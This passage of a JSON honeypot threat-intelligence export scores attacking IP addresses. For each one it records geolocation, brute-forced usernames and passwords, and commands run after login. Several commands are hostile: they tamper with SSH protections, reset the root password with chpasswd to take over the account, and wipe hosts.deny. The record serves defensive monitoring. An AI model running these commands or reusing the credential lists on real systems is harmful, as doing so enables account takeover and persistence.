        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T07:56:47.051000+00:00",
        "last_seen_30d": "2026-05-06T07:58:00.363000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.184.172.174": {
      "attack_count": 17397,
      "first_seen": "2026-05-31T11:07:30.049Z",
      "last_seen": "2026-05-31T17:21:25.162Z",
      "sessions": 5794,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 13489,
      "as_org": "UNE EPM TELECOMUNICACIONES S.A.",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29072,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T11:07:30.049000+00:00",
        "last_seen_30d": "2026-05-31T17:22:28.601000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17397,
        "Suricata": 11675
      }
    },
    "143.198.208.150": {
      "attack_count": 1426,
      "first_seen": "2026-05-23T08:47:01.370Z",
      "last_seen": "2026-05-31T23:30:00.993Z",
      "sessions": 713,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 49.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2720,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:47:01.370000+00:00",
        "last_seen_30d": "2026-05-31T23:31:02.388000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1426,
        "Suricata": 1294
      }
    },
    "36.64.68.99": {
      "attack_count": 475,
      "first_seen": "2026-05-11T12:29:10.017Z",
      "last_seen": "2026-05-29T19:37:26.387Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "ubuntu",
        "user",
        "admin",
        "admin1",
        "administrator",
        "alice",
        "carlos",
        "demo",
        "ftpuser",
        "fw",
        "jenkins",
        "leon",
        "nico",
        "postgres",
        "steam",
        "test01",
        "user3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "!QAZ2wsx",
        "1",
        "102030",
        "123",
        "123123123",
        "1233218613f",
        "123456",
        "12345678",
        "1983",
        "1Qwerty",
        "1qazZAQ!",
        "232323",
        "4dy0@pmR",
        "@123456789",
        "@WSXzaq1",
        "Admin#2026",
        "Ba123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Kya29nu8xMuO\"|chpasswd|bash",
        "echo \"root:aeTKGLOds0Ib\"|chpasswd|bash",
        "echo \"root:bEo5OhUsgClR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Tangerang",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 52.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.9,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 613,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:29:10.017000+00:00",
        "last_seen_30d": "2026-05-29T19:38:27.979000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 475,
        "Suricata": 138
      }
    },
    "198.98.56.227": {
      "attack_count": 432,
      "first_seen": "2026-05-16T17:56:42.839Z",
      "last_seen": "2026-05-22T05:58:49.395Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud_user",
        "master",
        "test",
        "teste",
        "user4",
        "vnc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1001",
        "123",
        "123456",
        "123abc!",
        "2018",
        "20192019",
        "2050",
        "2095",
        "222",
        "31415926",
        "Aa123456!",
        "Changeme@123",
        "Hello2024",
        "Test123456",
        "backuppc",
        "gerry",
        "interlude",
        "lupita"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:7xLvkACeiQ2q\"|chpasswd|bash",
        "echo \"root:LbAlu07JK0Hr\"|chpasswd|bash",
        "echo \"root:d4I9d35binMh\"|chpasswd|bash",
        "echo \"root:nSlgsyuYWSGD\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 524,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:56:42.839000+00:00",
        "last_seen_30d": "2026-05-22T05:59:52.514000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 432,
        "Suricata": 92
      }
    },
    "201.249.87.201": {
      "attack_count": 425,
      "first_seen": "2026-05-23T10:53:27.818Z",
      "last_seen": "2026-05-29T19:43:20.932Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser",
        "pavan",
        "andrea",
        "console",
        "frontend",
        "info",
        "newuser",
        "odoo11",
        "peter",
        "pivpn",
        "real",
        "scanner",
        "sebastian",
        "sergey",
        "sinusbot",
        "svn",
        "unix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "!@#QWEasd",
        "12345678",
        "Peter123",
        "QWEqwe!@#123",
        "Qazwsx123",
        "Qwerty78",
        "Qwertyuiop123@",
        "Welcome2024",
        "a123456!!!",
        "admin2020",
        "andrea",
        "console",
        "fuckyou",
        "info123",
        "odoo11",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Qazwsx123\\nePJG2VXdUUes\\nePJG2VXdUUes\\n\"|passwd",
        "echo \"pavan\\nqxAMjkNuseCM\\nqxAMjkNuseCM\\n\"|passwd",
        "echo \"root:xiL86dIshga8\"|chpasswd|bash",
        "echo \"ubuntu\\nrv1KD4BsTtb4\\nrv1KD4BsTtb4\\n\"|passwd",
        "echo -e \"Qazwsx123\\nePJG2VXdUUes\\nePJG2VXdUUes\"|passwd|bash",
        "echo -e \"pavan\\nqxAMjkNuseCM\\nqxAMjkNuseCM\"|passwd|bash",
        "echo -e \"ubuntu\\nrv1KD4BsTtb4\\nrv1KD4BsTtb4\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 41.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 514,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:53:27.818000+00:00",
        "last_seen_30d": "2026-05-29T19:44:27.285000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 425,
        "Suricata": 89
      }
    },
    "182.32.234.50": {
      "attack_count": 408,
      "first_seen": "2026-05-19T18:06:49.288Z",
      "last_seen": "2026-05-20T18:06:17.024Z",
      "sessions": 204,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 622,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:06:49.288000+00:00",
        "last_seen_30d": "2026-05-20T18:07:24.962000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 408,
        "Suricata": 214
      }
    },
    "76.79.213.70": {
      "attack_count": 396,
      "first_seen": "2026-05-17T02:16:17.652Z",
      "last_seen": "2026-05-22T06:37:21.367Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "labadmin",
        "newuser",
        "akshay",
        "demo",
        "den",
        "ftptest",
        "halo",
        "john",
        "manoj",
        "postgres",
        "remote",
        "salma",
        "trader",
        "ubuntu",
        "user",
        "wpp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0708228AsBs!",
        "12345",
        "123456",
        "12345678",
        "123456780",
        "1234567890",
        "1qaz!QAZ123",
        "1qaz@WSX3edc",
        "20192019",
        "2wsx2wsx@WSX",
        "9",
        "Aaa123456",
        "Abc123",
        "Admin@1",
        "Admin@2024",
        "Hello@2023",
        "P@ssw0rd!",
        "Pass@2023"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nXf3ohmYiuYOp\\nXf3ohmYiuYOp\\n\"|passwd",
        "echo \"labadmin123\\nPnIhrvUAuIJS\\nPnIhrvUAuIJS\\n\"|passwd",
        "echo \"root:3ATMh1VvoAeN\"|chpasswd|bash",
        "echo -e \"12345\\nXf3ohmYiuYOp\\nXf3ohmYiuYOp\"|passwd|bash",
        "echo -e \"labadmin123\\nPnIhrvUAuIJS\\nPnIhrvUAuIJS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 497,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:16:17.652000+00:00",
        "last_seen_30d": "2026-05-22T06:38:30.604000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 396,
        "Suricata": 101
      }
    },
    "20.88.55.220": {
      "attack_count": 387,
      "first_seen": "2026-05-05T15:58:13.133Z",
      "last_seen": "2026-05-12T23:35:56.966Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "debian",
        "dev",
        "esther",
        "sftp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX3edc",
        "112211",
        "1212",
        "123456..",
        "12345678",
        "123456789",
        "123456Aa",
        "123654",
        "2037",
        "520520",
        "AAAaaa666",
        "Aa123456..",
        "Admin.2025",
        "Admin123...",
        "Admin1@3",
        "Changeme1",
        "Kapital123",
        "Mm147258"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456Aa\\nMvDBwZHmzE7P\\nMvDBwZHmzE7P\\n\"|passwd",
        "echo \"root:KC62t8XNviL9\"|chpasswd|bash",
        "echo -e \"123456Aa\\nMvDBwZHmzE7P\\nMvDBwZHmzE7P\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 508,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:58:13.133000+00:00",
        "last_seen_30d": "2026-05-12T23:37:01.350000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 387,
        "Suricata": 121
      }
    },
    "102.216.240.71": {
      "attack_count": 357,
      "first_seen": "2026-05-03T21:05:46.878Z",
      "last_seen": "2026-05-03T22:06:21.493Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "mcadmin",
        "root",
        "admin",
        "administrator",
        "bitrix",
        "deploy",
        "deployer",
        "djangoadmin",
        "git",
        "gpadmin",
        "guest",
        "guestguest",
        "maint",
        "mysql",
        "odoo11",
        "postgres",
        "test",
        "testing"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "12345678",
        "1234567890",
        "Aa112233",
        "Admin123",
        "Passw0rd",
        "Password1",
        "a",
        "admin",
        "admin1234567890",
        "adminimda",
        "djangoadmin",
        "ftp321",
        "ghbdtn",
        "guest",
        "mcadmin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Passw0rd\\nrjsyVq9RMfOI\\nrjsyVq9RMfOI\\n\"|passwd",
        "echo \"mcadmin\\n8ynBOlEeO2TS\\n8ynBOlEeO2TS\\n\"|passwd",
        "echo \"passwd\\nZ4KVqqbtZitN\\nZ4KVqqbtZitN\\n\"|passwd",
        "echo -e \"Passw0rd\\nrjsyVq9RMfOI\\nrjsyVq9RMfOI\"|passwd|bash",
        "echo -e \"mcadmin\\n8ynBOlEeO2TS\\n8ynBOlEeO2TS\"|passwd|bash",
        "echo -e \"passwd\\nZ4KVqqbtZitN\\nZ4KVqqbtZitN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Congo (DRC)",
      "country_code": "CD",
      "city": "Kinshasa",
      "asn": 328442,
      "as_org": "UNITED-SA",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:05:46.878000+00:00",
        "last_seen_30d": "2026-05-03T22:07:25.347000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 83
      }
    },
    "27.79.45.168": {
      "attack_count": 324,
      "first_seen": "2026-05-07T00:32:10.711Z",
      "last_seen": "2026-05-07T00:58:41.575Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ftp_zsd",
        "RPM",
        "admian",
        "am",
        "anton",
        "ashish",
        "bin",
        "client",
        "cpanel",
        "demo",
        "developer",
        "geral",
        "help",
        "jay",
        "joggler",
        "joro",
        "kelly",
        "kim"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "password",
        "zs15dy43w",
        "039715582364317",
        "111111",
        "123",
        "1234",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "Deadstar!",
        "P@ssw0rd",
        "RPM",
        "abc123",
        "abcdefg",
        "admin",
        "admin1",
        "admin1234",
        "administrator",
        "am"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 461,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T00:32:10.711000+00:00",
        "last_seen_30d": "2026-05-07T00:59:44.878000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 324,
        "Suricata": 137
      }
    },
    "177.92.163.226": {
      "attack_count": 322,
      "first_seen": "2026-05-21T07:17:23.185Z",
      "last_seen": "2026-05-22T09:35:30.766Z",
      "sessions": 161,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Manaus",
      "asn": 268257,
      "as_org": "SIDI SERVICOS DE COMUNICACAO LTDA-ME",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 563,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:17:23.185000+00:00",
        "last_seen_30d": "2026-05-22T09:36:37.194000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 322,
        "Suricata": 241
      }
    },
    "43.153.47.12": {
      "attack_count": 241,
      "first_seen": "2026-05-19T00:08:12.787Z",
      "last_seen": "2026-05-19T00:36:13.375Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "alex",
        "ansible",
        "claude",
        "emma",
        "leidyroa",
        "nginx",
        "test",
        "ubuntu",
        "username"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "123123qwe",
        "123456!@",
        "1234567",
        "ABCabc123",
        "Aa@1234567",
        "Ch123456",
        "Claude2026!",
        "Fu123456",
        "Linux2024",
        "Test12!@",
        "User@2023",
        "abc123!@#",
        "admin123",
        "alex12345",
        "emma",
        "test123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:9nIbXRhNajMp\"|chpasswd|bash",
        "echo \"root:wURHWJLxppHZ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:08:12.787000+00:00",
        "last_seen_30d": "2026-05-19T00:37:18.458000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 56
      }
    },
    "43.153.3.64": {
      "attack_count": 238,
      "first_seen": "2026-05-17T16:16:25.812Z",
      "last_seen": "2026-05-17T16:53:13.855Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "git",
        "aaa",
        "ali",
        "apollo",
        "deep",
        "ec2-user",
        "frappe",
        "ftpadmin",
        "hari",
        "nodejs",
        "posiflex",
        "stefan",
        "wms"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "102030",
        "12345!",
        "123456",
        "1qaz2wsx@",
        "Black@123",
        "Pass@word1",
        "Star@2024",
        "admin@123",
        "apollo",
        "deep@123",
        "hari",
        "nodejs",
        "password1",
        "posiflex",
        "qwerty123!",
        "stefan",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"102030\\nVRD348znFXyD\\nVRD348znFXyD\\n\"|passwd",
        "echo \"password1\\nNsIjRiLKD74p\\nNsIjRiLKD74p\\n\"|passwd",
        "echo -e \"102030\\nVRD348znFXyD\\nVRD348znFXyD\"|passwd|bash",
        "echo -e \"password1\\nNsIjRiLKD74p\\nNsIjRiLKD74p\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 291,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
